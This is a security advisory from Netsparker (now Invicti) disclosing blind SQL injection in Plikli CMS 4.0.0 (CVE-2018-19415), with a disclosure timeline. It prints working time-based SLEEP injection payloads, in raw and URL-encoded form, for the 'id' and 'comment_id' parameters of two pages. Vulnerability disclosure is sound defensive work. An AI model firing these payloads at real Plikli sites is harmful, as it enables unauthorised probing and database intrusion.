Blind SQL Injection Vulnerabilities in Plikli 4.0.0


Advisory by Netsparker (now Invicti)
Name: Blind SQL Injection Vulnerabilities in Plikli CMS
Affected Software: Plikli
Affected Versions: 4.0.0
Vulnerability: Blind SQL Injection
Severity: Critical
Status: Fixed
CVE-ID: CVE-2018-19415
Invicti Advisory Reference: NS-18-031

Technical Details

Blind SQL Injection

URL: http://NSAppTest/plikli/join_group.php?id=1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/&privacy=public&join=true
Parameter Name: id
Parameter Type: GET
Attack Pattern: 1+%2b+((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2f*%27XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%27%7c%22XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%22*%2f

URL: http://NSAppTest/plikli/story.php?title=test&comment_id=3 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/
Parameter Name: comment_id
Parameter Type: GET
Attack Pattern: 3+%2b+((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2f*%27XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%27%7c%22XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%22*%2f

For more information on SQL injection vulnerabilities, read the section SQL injection.

Advisory Timeline

28th June 2018 – First Contact
3rd August 2018 – Vendor Fixed
4th December 2018- Advisory Released

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

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